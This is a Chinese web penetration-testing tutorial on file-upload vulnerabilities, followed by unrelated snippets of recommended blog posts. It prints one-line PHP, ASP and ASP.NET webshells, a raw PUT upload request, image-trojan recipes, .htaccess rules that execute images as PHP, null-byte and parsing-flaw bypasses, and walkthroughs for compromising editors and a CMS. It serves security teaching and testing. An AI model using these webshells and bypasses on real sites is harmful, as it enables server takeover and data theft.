Web渗透08_文件上传
1 文件上传漏洞概述
文件上传几乎是每一个web,或者说是任何 服务器客户端模式 应用的必备功能,用户在自己的文章,博文中要上相关图片。用户上传自己的头像。网盘用户上传各种文件。等等。若服务器对此没有太多的过滤,让 图片木马, .exe可执行文件, 恶意脚本 上传到服务器上,那么服务器就很有可能会沦陷。一个大马上传到网站里,那么这个网站基本就没了。
引起这个漏洞的原因可能是(1) 服务器的配置不当.(2) 脚本程序对上传的文件没有严格的过滤和格式限制.(3) 没有考虑到服务器的特性。
而文件上传漏洞常常出现在这种场景。攻击者通过一些手段扫描到网站后台,进入网站管理后台页面,一般网站后台都是有各种文件上传的途径。攻击者通过利用 服务器漏洞,服务器配置漏洞,程序限制漏洞,web应用容器(Apache nginx IIS)的一些漏洞。上传小马(利用小马拉大马)。或者直接上传大马。甚至上传包含木马代码的图片,俗称图片木马。利用一些方法执行。一旦上传成功,并可以执行,那这就是一个网站的后门了,俗称Webshell。木马具有自己的登录页面,登陆后.....有一句老话说的好, 拿来吧你!!。
一种防御方法就是将上传文件放到另一个服务器中,哪怕攻击者攻击成功对于主站点也没有影响。
1.1 大马
就是恶意的脚本程序代码, 有自己的登录界面.
1.2 小马
小马通常指一句话木马, 通过连接工具(蚁剑 菜刀)连接, 获得服务器权限.
<?php @eval($_REQUEST['shell'])?>
<%eval request['shell']%> # asp
<%@ Page Language="Jscript"%>
<%eval(Request.Item['shell'],"unsafe");%>
# Asp.Net
2 利用条件
Web具有文件上传功能。
Web用户对目标目录具有写权限,和执行权限。而web一般都具有 执行权限。
上传的文件可以执行,图片木马执行,普通脚本执行
服务器配置不当,开启了PUT 方法。
3 防御 利用 绕过
3.1 PUT方法上传文件
http请求方法之一,允许直接上传文件到服务器。不需要任何的脚本代码支持。通过构造http请求即可在服务器上创建文件。
也是渗透测试文件上传测试的必须测试的漏洞。
测试方法
# tel对方主机端口
telenet 11.11.11.11 80
# 连接成功后发送报文
OPTIONS / HTTP/1.1
HOST:11.11.11.11
# 服务器会返回一个它所接受的传输协议列表
GET PUT POST HEAD
# 构造写入文件请求
PUT /info.php HTTP/1.1
HOST:11.11.11.11
Content-Length:18
<?php phpinfo();?> # 18个字符
3.2 前端限制与绕过
前端限制根本没有用!
前端限制一般指 JS event
限制验证。JS验证虽说功能强大,但弱点也是致命的,那就是在本地浏览器上用户可以修改JS代码。
打开检查窗口,找到限制的JS代码,修改或删除后再提交。
配置浏览器将JS禁用掉。浏览器可以设置不许任何网站运行javascript
挂Burpsiut代理,将上传文件的后缀修改为允许上传格式的后缀,Burp中 设置模块Proxy 拦截Intercept is on。 上传允许上传的文件。在Burp抓到的请求包里恢复之前的文件名。点击Forword放过。
3.3 MIME
最早的HTTP协议中,并没有附加的数据类型信息,所有传送的数据都被客户程序解释为超文本标记语言HTML 文档,而为了支持多媒体数据类型,HTTP协议中就使用了附加在文档之前的MIME数据类型信息来标识数据类型。
MIME意为多功能Internet邮件扩展,它设计的最初目的是为了在发送电子邮件时附加多媒体数据,让邮件客户程序能根据其类型进行处理。然而当它被HTTP协议支持之后,它的意义就更为显著了。它使得HTTP传输的不仅是普通的文本,而变得丰富多彩。
每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。
有时候服务器检测的是Content-Type类型,这个只要拦截包修改类型再放过即可。
3.4 图片内容检测
无论是前端验证还是Content-Type验证,力度都比较小。都可以利用一些技巧将脚本文件上传到服务器。
所以服务器端脚本还会验证文件内容,非图片文件不可上传。
php的getimagesize()
计算图片大小的同时还会检测是否为图片的编码格式。
这就涉及到了 图片木马。
这样虽然能够上传文件,不过不能运行。
图片木马的制作
- copy smile.jpg/b+info.php/a simle_info.jpg
- 修改图片属性->版权 写入php代码。
- 利用jpg文件头的固定16进制编码,将其复制并转为ASCII,放到PHP文件的php代码之前。可以绕过
getimagesize()
。叫jpg幻术。
3.5 黑白名单检测
服务器还会检测文件后缀。会有文件后缀黑名单,不允许.php |.asp |.jsp
的上传。但是还是有一些特别的文件后缀可以执行。
如
.php .php2 .php3 .php5 .phtml
.asp .aspx .ascx .ashx .asa .cer
.jsp .jspx
3.6 00 截断
就是利用NULL 16进制常用00
URL编码常用%00
文件上传后在服务器的 PHP 临时文件夹创建了一个被上传文件的临时副本。
这个临时的复制文件会在脚本结束时消失。
要保存被上传的文件,我们需要把它拷贝到另外的位置,同时为了重名的因素,会计算出一个随机的文件名,一般与时间有关。
move_uploaded_file(file,newloc)
file是待移动的文件 newloc是移动的目标位置。
由于PHP底层的一些函数是由C语言写的,字符串的读取NULL的影响很大,因为一般读到NULL就算结束了。
我们在save_path=../updload/
后添加test.php%00
。
move_uploaded_file(temp.jpg,../updload/test.php/20210814.gif)
这个是行不通的,在脚本文件下面如何创建一个图片文件(图片木马)?
move_uploaded_file(temp.jpg,../updload/test.php%00/20210814.gif)
这个直接就将保存目的文件路径给截断了,后面的不起作用。C语言认为目标路径就是../updload/test.php
,并把文件内容写入。这就上传了一个脚本啊。不论这些脚本代码保存到什么格式里被上传,最终变成了test.php
都可以运行。
3.7 .htaccess
.htaccess
文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
如果网站允许用户上传.htaccess
文件,那么危害就可想而知了。
在一些网站的核心目录里,不允许用户访问的文件,例如数据库类文件目录,插件文件目录等,里面都会有.htaccess
。进行不允许访问的配置。
# .htacess 文件
Deny From All
3.7.1 以 PHP 的方式解析 PNG
上传一个图片木马Muma.png
,访问就会被当作PHP代码来执行。
# .htacess 文件
AddType application/x-httpd-php .png
3.7.2 文件名包含PHP关键字
当图片文件名 image.php.png
中包含php关键字,并且.htaccess
的配置如下,即图片被当作PHP代码来执行。
# .htacess 文件
AddHandler php5-script php
3.7.3 匹配文件名
在文件中匹配文件名为Muma.jpg
的文件,并以PHP执行。
# .htacess 文件
<FilesMatch "Muma.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
3.8 Web容器文件解析漏洞
Web容器对于各种文件的解析和执行可能会有漏洞,导致一些文件被以脚本文件的形式执行。
3.8.1 Apache(old)文件解析漏洞
info.php.xxx.xx.x
容器会从文件末尾开始解析文件后缀,并决定打开方式。
.x .xx .xxx
它都不认识,最后只能执行 .php
了。
3.8.2 IIS(6.0)文件解析漏洞
.asp;1.jpg
本来是图片文件会被当成sap脚本执行。
例子:Image.asp;1.jpg
1.asp/image.jpg
1.asp目录下的图片文件会被当成脚本执行。
3.8.3 IIS(7.0|7.5)+PHP CGI 文件解析漏洞 Nignx也存在
此漏洞可以使图片文件以PHP脚本执行。
IIS+PHP 环境搭建。利用映射,映射到PHP的执行程序,CGI关联PHP的配置信息。
使用此功能可以配置从服务器上的网站所使用的 FastCGI应用程序
漏洞利用:www.abc.com/images/asp.png/.php
www.abc.com/images/nginx.png/.php
漏洞修复:php配置文件中 cgi.fix_pathinfo=0
即可修复
3.8.4 Nignx解析漏洞
1 用户配置漏洞
VulHub:https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/
该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
www.abc.com/images/nginx.png/.php
2 空字节漏洞
info.html%00.php
其中html里有php代码,用空字节截断,加上 .php 即可运行。
3 文件名逻辑漏洞 CVE-2013-4547
VulHub:https://vulhub.org/#/environments/nginx/CVE-2013-4547/
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
上传1.gif
文件后缀有空格。
访问http://your-ip:8080/uploadfiles/1.gif[0x20][0x00].php
发现图片中的PHP代码被执行。
[0x20]是空格,[0x00]是\0
3.9 富文本编辑器
为了使在web上编写文章像在Windows的Word里一样简单,加粗,标题,添加图片等功能就富集在这个文本编辑器里了。
3.9.1 eWebEditor编辑器
进入网站后台,发现编辑器的文章上传可以设置图片格式白名单,修改白名单允许上传脚本文件即可。
3.9.2 ckeditorb(fckeditor)编辑器
上传脚本Muma.asp
文件,发现不允许上传。
在Burp的回包里发现是IIS6.0,有两个漏洞可以利用。
.asp;1.jpg
1.asp/image.jpg
Burp拦截并修改文件名为Muma.asp;1.jpg
,发现上传不成功
利用第二个漏洞,创建1.asp
文件夹,发现文件夹变成1_asp
。
在创建一个文件夹 Hello并用 Burp拦截,发现创建文件夹CreateFolder=/
在/
目录下创建文件夹。我们修改这个路径为/2.asp/
。Forward放过。 于是创建功了两个文件夹。
/
|__2.asp
|__Hello
成功绕过对创建文件夹名字的过滤。之后利用第二个漏洞上传大图片木马,连接大马出现登录框,键入密码,大马不会跳转。因为解析漏洞的某些原因。
这个时候在2.asp
下 上传图片小马。其实就是上传XMuma.asp
,Burp拦截并修改文件名为XMuma.jpg
。上传成功。连接拿到WebShell并在另一个文件夹中上传大马。
打开cmd, 发现权限很低。上传提权 pr.exe
文件提权。
拿来吧你!!
4 CMS信息管理系统
CMS是Content Management System的缩写,意为"内容管理系统"。 现在市面上很多小的影视网站,阅读网站都用的是CMS模板,几个模板造就了一堆一摸一样的网站。而很多网站都是有文件上传漏洞的
4.1 南方数据管理系统CMS
这是一个asp站点,ACCESS数据库。数据库本身是一个 .mdb 文件,是有下载的可能性的。URL访问这个文件即可下载。
Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。
- 通过 union select 注入链接获得数据库账号密码。
- 御剑扫出后台 登录。
- 数据库备份数据库路径和备份数据库名称都是可修改的。
- 找上传图片的地方,上传 .asp 大马,然后用Burp抓包改文件后缀为.jpg。发现上传成功。得到路径。
- 备份的本质就是文件复制。我们通过文件复制到 shell.asp 。
- 复制成功后,.jpg 文件变为 shell.asp.asa 。网站访问shell.asp的路径即可,不需要加.asa。服务器会把他当成脚本文件执行。
Metinfo v5.0.4 (php)
利用程序编写的漏洞,造成变量覆盖,利用可变的变量绕过各种if 判断语句。
即生成一段URL链接,链接里有很多GET参数变量,利用变量绕过文件上传的一些检测if。
最后自己做一个上传文件表单,处理链接即这段URL。 成功绕过。
<?PHP
foreach($_GET as $key=>$val)
{
$$key = $val;
// $_GET['cmd'] ='123456';
// $cmd = '123456';
// 可变变量。
// 把GET传上来的变量变成PHP变量
}
?>
对代码审计要求比较高。
Web渗透08_文件上传的更多相关文章
- JAVA Web 之 struts2文件上传下载演示(二)(转)
JAVA Web 之 struts2文件上传下载演示(二) 一.文件上传演示 详细查看本人的另一篇博客 http://titanseason.iteye.com/blog/1489397 二.文件下载 ...
- JAVA Web 之 struts2文件上传下载演示(一)(转)
JAVA Web 之 struts2文件上传下载演示(一) 一.文件上传演示 1.需要的jar包 大多数的jar包都是struts里面的,大家把jar包直接复制到WebContent/WEB-INF/ ...
- 基于 java 【Web安全】文件上传漏洞及目录遍历攻击
前言:web安全之文件上传漏洞,顺带讲一下目录遍历攻击.本文基于 java 写了一个示例. 原理 在上网的过程中,我们经常会将一些如图片.压缩包之类的文件上传到远端服务器进行保存.文件上传攻击指的是恶 ...
- WEB安全:文件上传漏洞
文件上传漏洞过程 用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力. 一般的情况有: 上传文件WEB脚本语言,服务器的WEB容器解释并执行了用户上传的脚本,导致代码执行: ...
- 构建web应用之——文件上传
我们通过使用multipart请求数据接收和处理二进制信息(如文件).DispatcherServlet并没有实现任何解析multipart请求数据的功能,它将该任务委托给了Spring中的multi ...
- IIS 之 通过 Web.config 修改文件上传大小限制设置方法
在IIS 6.0中,不设置默认大小为4M,设置文件上传大小的方法,maxRequestLength(KB),executionTimeout(毫秒),配置如下节点: <system.web> ...
- web安全之文件上传漏洞攻击与防范方法
一. 文件上传漏洞与WebShell的关系 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行.这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等.这种攻击方式是最为直接和有效 ...
- Web安全-之文件上传漏洞场景
1 上传漏洞危害介绍 上传是Web中最常见的功能,如果上传功能存在设计.编码缺陷,就容易形成上传漏洞,从而成为致命的安全问题,攻击者可以通过上传脚本木马,实现查看/篡改/删除源码和任意涂鸦网页,可 ...
- web实现大文件上传分片上传断点续传
需求:项目要支持大文件上传功能,经过讨论,初步将文件上传大小控制在500M内,因此自己需要在项目中进行文件上传部分的调整和配置,自己将大小都以501M来进行限制. 第一步: 前端修改 由于项目使用的是 ...
- web项目的文件上传和 下载
文件上传和下载在web应用中非常普遍,要在jsp环境中实现文件上传功能是非常容易的,因为网上有许多用Java开发的文件上传组件,本文以commons-fileupload组件为例,为jsp应用添加文件 ...
随机推荐
- ffpyplayer源码编译报错:ffpyplayer/tools.pyx:182:28: Cannot assign type 'void (*)(void *, int, const char *, va_list) except * nogil' to 'void (*)(void *, int, const char *, va_list) noexcept nogil'
编译ffpyplayer报错,具体错误如标题. 报错信息: ffpyplayer/tools.pyx:182:28: Cannot assign type 'void (*)(void *, int, ...
- 在python项目的docker镜像里使用pdm管理依赖
前言 在 DjangoStarter 项目中,我已经使用 pdm 作为默认的包管理器,不再直接使用 pip 所以部署的时候 dockerfile 和 docker-compose 配置也得修改一下. ...
- C# ?. 判斷Null值
有一句代碼: @Html.DisplayFor(modelItem => item.SellDate, "RegularDate") RegularDate.cshtml 內 ...
- SMU Summer 2023 Contest Round 11(2022-2023 ACM-ICPC Nordic Collegiate Programming Contest (NCPC 2022))
SMU Summer 2023 Contest Round 11(2022-2023 ACM-ICPC Nordic Collegiate Programming Contest (NCPC 2022 ...
- GPL前世今生
从事Linux开发的朋友一定都听过GPL,那么到底什么是GPL呢?他有什么作用呢?本文给大家做详细讲解. 一.GNU/GPL 在讲解GPL之前,我们必须先了解什么是GNU? 1. 什么是GNU GNU ...
- 从0实现基于Linux socket聊天室-多线程服务器模型-1
前言 Socket在实际系统程序开发当中,应用非常广泛,也非常重要.实际应用中服务器经常需要支持多个客户端连接,实现高并发服务器模型显得尤为重要.高并发服务器从简单的循环服务器模型处理少量网络并发请求 ...
- harbor重启后无法自启动解决方案
1. 创建 systemd 服务单元文件 编辑服务文件: 使用以下命令创建并编辑 systemd 服务文件: sudo vim /etc/systemd/system/harbor.service 添 ...
- 守护您的数字资产:API安全的最佳实践
在数字化时代,API(应用程序编程接口)已成为企业与用户.服务与服务之间沟通的桥梁.然而,随着API的广泛应用,安全问题也日益凸显.本文将探讨API安全的重要性,并提供一些实用的安全措施,帮助您保 ...
- 【Mac + Appium + Java1.8(二)】之Android模拟器自动化测试脚本开发以及简易例子
直接上代码: import io.appium.java_client.AppiumDriver; import org.junit.After; import org.junit.Before; i ...
- uni-app 路由封装(简易版)
在实践运用中,经常需要在路由跳转时判断是否需要登录权限,页面跳转时,添加加在if判断. 插件市场也有一些这种插件,配置也稍微复制,大部分朝向vue-router. 注:本次路由封装,只是单纯的判断是否 ...